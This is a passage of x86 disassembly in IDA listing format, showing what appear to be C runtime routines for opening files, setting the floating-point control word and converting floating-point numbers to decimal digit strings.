; ---------------------------------------------------------------------------


loc_41E4F9:				; CODE XREF: sub_41E476+54j
		mov	[ebp+var_C], 80000000h


loc_41E500:				; CODE XREF: sub_41E476+78j
					; sub_41E476+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41E52E
		cmp	eax, 20h
		jz	short loc_41E525
		cmp	eax, 30h
		jz	short loc_41E51C
		cmp	eax, 40h
		jnz	short loc_41E4D2
		mov	[ebp+var_10], esi
		jmp	short loc_41E531
; ---------------------------------------------------------------------------


loc_41E51C:				; CODE XREF: sub_41E476+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41E531
; ---------------------------------------------------------------------------


loc_41E525:				; CODE XREF: sub_41E476+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41E531
; ---------------------------------------------------------------------------


loc_41E52E:				; CODE XREF: sub_41E476+90j
		mov	[ebp+var_10], ebx


loc_41E531:				; CODE XREF: sub_41E476+A4j
					; sub_41E476+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41E57B
		jz	short loc_41E576
		cmp	ecx, ebx
		jz	short loc_41E576
		cmp	ecx, edi
		jz	short loc_41E56D
		cmp	ecx, 200h
		jz	short loc_41E594
		cmp	ecx, 300h
		jnz	loc_41E4D2
		mov	[ebp+var_8], 2
		jmp	short loc_41E5A4
; ---------------------------------------------------------------------------


loc_41E56D:				; CODE XREF: sub_41E476+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41E5A4
; ---------------------------------------------------------------------------


loc_41E576:				; CODE XREF: sub_41E476+D0j
					; sub_41E476+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41E5A4
; ---------------------------------------------------------------------------


loc_41E57B:				; CODE XREF: sub_41E476+CEj
		cmp	ecx, 500h
		jz	short loc_41E59D
		cmp	ecx, 600h
		jz	short loc_41E594
		cmp	ecx, edx
		jz	short loc_41E59D
		jmp	loc_41E4D2
; ---------------------------------------------------------------------------


loc_41E594:				; CODE XREF: sub_41E476+E0j
					; sub_41E476+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41E5A4
; ---------------------------------------------------------------------------


loc_41E59D:				; CODE XREF: sub_41E476+10Bj
					; sub_41E476+117j
		mov	[ebp+var_8], 1


loc_41E5A4:				; CODE XREF: sub_41E476+F5j
					; sub_41E476+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41E5C3
		mov	ecx, dword_51588C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41E5C3
		push	1
		pop	esi


loc_41E5C3:				; CODE XREF: sub_41E476+138j
					; sub_41E476+148j
		test	al, 40h
		jz	short loc_41E5D1
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41E5D1:				; CODE XREF: sub_41E476+14Fj
		test	ah, 10h
		jz	short loc_41E5D8
		or	esi, edi


loc_41E5D8:				; CODE XREF: sub_41E476+15Ej
		test	al, 20h
		jz	short loc_41E5E4
		or	esi, 8000000h
		jmp	short loc_41E5EE
; ---------------------------------------------------------------------------


loc_41E5E4:				; CODE XREF: sub_41E476+164j
		test	al, 10h
		jz	short loc_41E5EE
		or	esi, 10000000h


loc_41E5EE:				; CODE XREF: sub_41E476+16Cj
					; sub_41E476+170j
		call	sub_41E25C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41E60F
		and	dword_515888, 0
		mov	dword_515884, 18h
		jmp	short loc_41E64D
; ---------------------------------------------------------------------------


loc_41E60F:				; CODE XREF: sub_41E476+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C801A24h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41E640
		push	esi
		nop
		call	near ptr 7C810E51h
		test	eax, eax
		jnz	short loc_41E654
		push	esi
		nop
		call	near ptr 7C809B47h


loc_41E640:				; CODE XREF: sub_41E476+1B6j
		nop
		call	near ptr 7C910331h
		push	eax
		call	sub_41C91A
		pop	ecx


loc_41E64D:				; CODE XREF: sub_41E476+197j
		mov	eax, edi
		jmp	loc_41E72A
; ---------------------------------------------------------------------------


loc_41E654:				; CODE XREF: sub_41E476+1C1j
		cmp	eax, 2
		jnz	short loc_41E65F
		or	[ebp+var_1], 40h
		jmp	short loc_41E668
; ---------------------------------------------------------------------------


loc_41E65F:				; CODE XREF: sub_41E476+1E1j
		cmp	eax, 3
		jnz	short loc_41E668
		or	[ebp+var_1], 8


loc_41E668:				; CODE XREF: sub_41E476+1E7j
					; sub_41E476+1ECj
		push	esi
		push	ebx
		call	sub_41E2F1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:516B80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41E711
		test	al, 80h
		jz	short loc_41E711
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41E711
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41BA39
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41E6C6
		cmp	dword_515888, 83h
		jz	short loc_41E711
		jmp	short loc_41E705
; ---------------------------------------------------------------------------


loc_41E6C6:				; CODE XREF: sub_41E476+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41B65B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E6F3
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41E6F3
		push	[ebp+var_10]
		push	ebx
		call	sub_41F038
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E705


loc_41E6F3:				; CODE XREF: sub_41E476+265j
					; sub_41E476+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41BA39
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41E711


loc_41E705:				; CODE XREF: sub_41E476+24Ej
					; sub_41E476+27Bj
		push	ebx
		call	sub_41B397
		pop	ecx


loc_41E70C:				; CODE XREF: sub_41E476+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E72A
; ---------------------------------------------------------------------------


loc_41E711:				; CODE XREF: sub_41E476+221j
					; sub_41E476+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41E728
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41E728
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41E728:				; CODE XREF: sub_41E476+29Fj
					; sub_41E476+2A5j
		mov	eax, ebx


loc_41E72A:				; CODE XREF: sub_41E476+1D9j
					; sub_41E476+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E476	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E72F	proc near		; CODE XREF: sub_41E764+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41E77A
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41E80C
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41E72F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E764	proc near		; CODE XREF: sub_41C466+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41E72F
		pop	ecx
		pop	ecx
		retn
sub_41E764	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E77A	proc near		; CODE XREF: sub_41E72F+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41E78B
		push	10h
		pop	eax


loc_41E78B:				; CODE XREF: sub_41E77A+Cj
		test	bl, 4
		jz	short loc_41E792
		or	al, 8


loc_41E792:				; CODE XREF: sub_41E77A+14j
		test	bl, 8
		jz	short loc_41E799
		or	al, 4


loc_41E799:				; CODE XREF: sub_41E77A+1Bj
		test	bl, 10h
		jz	short loc_41E7A0
		or	al, 2


loc_41E7A0:				; CODE XREF: sub_41E77A+22j
		test	bl, 20h
		jz	short loc_41E7A7
		or	al, 1


loc_41E7A7:				; CODE XREF: sub_41E77A+29j
		test	bl, 2
		jz	short loc_41E7B1
		or	eax, 80000h


loc_41E7B1:				; CODE XREF: sub_41E77A+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41E7E9
		cmp	edx, 400h
		jz	short loc_41E7E6
		cmp	edx, 800h
		jz	short loc_41E7E2
		cmp	edx, esi
		jnz	short loc_41E7E9
		or	eax, edi
		jmp	short loc_41E7E9
; ---------------------------------------------------------------------------


loc_41E7E2:				; CODE XREF: sub_41E77A+5Ej
		or	eax, ebp
		jmp	short loc_41E7E9
; ---------------------------------------------------------------------------


loc_41E7E6:				; CODE XREF: sub_41E77A+56j
		or	ah, 1


loc_41E7E9:				; CODE XREF: sub_41E77A+4Ej
					; sub_41E77A+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41E7F9
		cmp	ecx, ebp
		jnz	short loc_41E7FE
		or	eax, 10000h
		jmp	short loc_41E7FE
; ---------------------------------------------------------------------------


loc_41E7F9:				; CODE XREF: sub_41E77A+72j
		or	eax, 20000h


loc_41E7FE:				; CODE XREF: sub_41E77A+76j
					; sub_41E77A+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41E80B
		or	eax, 40000h

locret_41E80B:				; CODE XREF: sub_41E77A+8Aj
		retn
sub_41E77A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E80C	proc near		; CODE XREF: sub_41E72F+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41E81C
		push	1
		pop	eax


loc_41E81C:				; CODE XREF: sub_41E80C+Bj
		test	bl, 8
		jz	short loc_41E823
		or	al, 4


loc_41E823:				; CODE XREF: sub_41E80C+13j
		test	bl, 4
		jz	short loc_41E82A
		or	al, 8


loc_41E82A:				; CODE XREF: sub_41E80C+1Aj
		test	bl, 2
		jz	short loc_41E831
		or	al, 10h


loc_41E831:				; CODE XREF: sub_41E80C+21j
		test	bl, 1
		jz	short loc_41E838
		or	al, 20h


loc_41E838:				; CODE XREF: sub_41E80C+28j
		test	ebx, 80000h
		jz	short loc_41E842
		or	al, 2


loc_41E842:				; CODE XREF: sub_41E80C+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41E86F
		cmp	ecx, 100h
		jz	short loc_41E86C
		cmp	ecx, esi
		jz	short loc_41E867
		cmp	ecx, edx
		jnz	short loc_41E86F
		or	ah, 0Ch
		jmp	short loc_41E86F
; ---------------------------------------------------------------------------


loc_41E867:				; CODE XREF: sub_41E80C+50j
		or	ah, 8
		jmp	short loc_41E86F
; ---------------------------------------------------------------------------


loc_41E86C:				; CODE XREF: sub_41E80C+4Cj
		or	ah, 4


loc_41E86F:				; CODE XREF: sub_41E80C+44j
					; sub_41E80C+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41E885
		cmp	ecx, 10000h
		jnz	short loc_41E887
		or	eax, esi
		jmp	short loc_41E887
; ---------------------------------------------------------------------------


loc_41E885:				; CODE XREF: sub_41E80C+6Bj
		or	eax, edx


loc_41E887:				; CODE XREF: sub_41E80C+73j
					; sub_41E80C+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41E894
		or	ah, 10h

locret_41E894:				; CODE XREF: sub_41E80C+83j
		retn
sub_41E80C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E895	proc near		; CODE XREF: sub_41E934+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41E8DA
		inc	esi
		cmp	esi, 3
		jge	short loc_41E8D5
		lea	eax, [eax+esi*4]


loc_41E8C7:				; CODE XREF: sub_41E895+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41E8DA
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41E8C7


loc_41E8D5:				; CODE XREF: sub_41E895+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E8DA:				; CODE XREF: sub_41E895+27j
					; sub_41E895+35j
		xor	eax, eax
		pop	esi
		retn
sub_41E895	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E8DE	proc near		; CODE XREF: sub_41E934+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41F17E
		add	esp, 0Ch
		dec	esi
		js	short loc_41E930
		lea	edi, [ebx+esi*4]


loc_41E917:				; CODE XREF: sub_41E8DE+50j
		test	eax, eax
		jz	short loc_41E930
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41F17E
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41E917


loc_41E930:				; CODE XREF: sub_41E8DE+34j
					; sub_41E8DE+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E8DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E934	proc near		; CODE XREF: sub_41EA8F+81p
					; sub_41EA8F+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41E998
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41E895
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41E995
		push	edi
		push	[ebp+arg_0]
		call	sub_41E8DE
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_41E995:				; CODE XREF: sub_41E934+51j
		mov	eax, [ebp+arg_4]


loc_41E998:				; CODE XREF: sub_41E934+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41E9B8
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_41E9B8:				; CODE XREF: sub_41E934+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E934	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E9C0	proc near		; CODE XREF: sub_41EA8F+75p
					; sub_41EA8F+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_41E9CE:				; CODE XREF: sub_41E9C0+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41E9CE
		pop	esi
		retn
sub_41E9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E9DB	proc near		; CODE XREF: sub_41EA8F+5Fp
					; sub_41EA8F+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41E9DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E9E7	proc near		; CODE XREF: sub_41EA8F+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_41E9ED:				; CODE XREF: sub_41E9E7+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41E9FF
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41E9ED
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41E9FF:				; CODE XREF: sub_41E9E7+9j
		xor	eax, eax
		retn
sub_41E9E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA02	proc near		; CODE XREF: sub_41EA8F+C0p
					; sub_41EA8F+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_41EA38:				; CODE XREF: sub_41EA02+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41EA38
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41EA6A:				; CODE XREF: sub_41EA02+86j
		cmp	ebx, edi
		jl	short loc_41EA7D
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41EA84
; ---------------------------------------------------------------------------


loc_41EA7D:				; CODE XREF: sub_41EA02+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_41EA84:				; CODE XREF: sub_41EA02+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41EA6A
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA8F	proc near		; CODE XREF: sub_41EBFB+Dp
					; sub_41EC11+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41EAFC
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41E9E7
		test	eax, eax
		pop	ecx
		jnz	loc_41EBBB
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E9DB
		pop	ecx


loc_41EAF4:				; CODE XREF: sub_41EA8F+E4j
		push	2


loc_41EAF6:				; CODE XREF: sub_41EA8F+110j
		pop	eax
		jmp	loc_41EBBD
; ---------------------------------------------------------------------------


loc_41EAFC:				; CODE XREF: sub_41EA8F+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41E9C0
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E934
		add	esp, 10h
		test	eax, eax
		jz	short loc_41EB1D
		inc	ebx


loc_41EB1D:				; CODE XREF: sub_41EA8F+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41EB35
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E9DB
		pop	ecx
		jmp	short loc_41EB71
; ---------------------------------------------------------------------------


loc_41EB35:				; CODE XREF: sub_41EA8F+98j
		cmp	ebx, eax
		jg	short loc_41EB78
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E9C0
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41EA02
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E934
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EA02
		add	esp, 20h


loc_41EB71:				; CODE XREF: sub_41EA8F+A4j
		xor	esi, esi
		jmp	loc_41EAF4
; ---------------------------------------------------------------------------


loc_41EB78:				; CODE XREF: sub_41EA8F+A8j
		cmp	ebx, [edi]
		jl	short loc_41EBA4
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41E9DB
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EA02
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41EAF6
; ---------------------------------------------------------------------------


loc_41EBA4:				; CODE XREF: sub_41EA8F+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41EA02
		pop	ecx
		pop	ecx


loc_41EBBB:				; CODE XREF: sub_41EA8F+55j
		xor	eax, eax


loc_41EBBD:				; CODE XREF: sub_41EA8F+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41EBEC
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41EBF6
; ---------------------------------------------------------------------------


loc_41EBEC:				; CODE XREF: sub_41EA8F+14Ej
		cmp	edi, 20h
		jnz	short loc_41EBF6
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_41EBF6:				; CODE XREF: sub_41EA8F+15Bj
					; sub_41EA8F+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA8F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EBFB	proc near		; CODE XREF: sub_41EC27+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF20
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41EA8F
		add	esp, 0Ch
		retn
sub_41EBFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EC11	proc near		; CODE XREF: sub_41EC54+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF38
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41EA8F
		add	esp, 0Ch
		retn
sub_41EC11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC27	proc near		; CODE XREF: sub_41C59F+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41F31F
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EBFB
		add	esp, 24h
		leave
		retn
sub_41EC27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC54	proc near		; CODE XREF: sub_41C59F+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41F31F
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EC11
		add	esp, 24h
		leave
		retn
sub_41EC54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EC81	proc near		; CODE XREF: sub_41C5DD+65p
					; sub_41C6E1+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41ECBE
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_41ECA4:				; CODE XREF: sub_41EC81+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41ECB0
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41ECB3
; ---------------------------------------------------------------------------


loc_41ECB0:				; CODE XREF: sub_41EC81+27j
		push	30h
		pop	edx


loc_41ECB3:				; CODE XREF: sub_41EC81+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41ECA4
		mov	edx, [ebp+arg_8]


loc_41ECBE:				; CODE XREF: sub_41EC81+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41ECD7
		cmp	byte ptr [ecx],	35h
		jl	short loc_41ECD7


loc_41ECCA:				; CODE XREF: sub_41EC81+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41ECD5
		mov	byte ptr [eax],	30h
		jmp	short loc_41ECCA
; ---------------------------------------------------------------------------


loc_41ECD5:				; CODE XREF: sub_41EC81+4Dj
		inc	byte ptr [eax]


loc_41ECD7:				; CODE XREF: sub_41EC81+42j
					; sub_41EC81+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41ECE1
		inc	dword ptr [edx+4]
		jmp	short loc_41ECF3
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EC81+59j
		push	edi
		call	sub_417AF0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D840
		add	esp, 10h


loc_41ECF3:				; CODE XREF: sub_41EC81+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41EC81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ECF8	proc near		; CODE XREF: sub_41C5DD+3Fp
					; sub_41C6E1+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41ED5C
		pop	ecx
		lea	esi, [ebp+var_C]
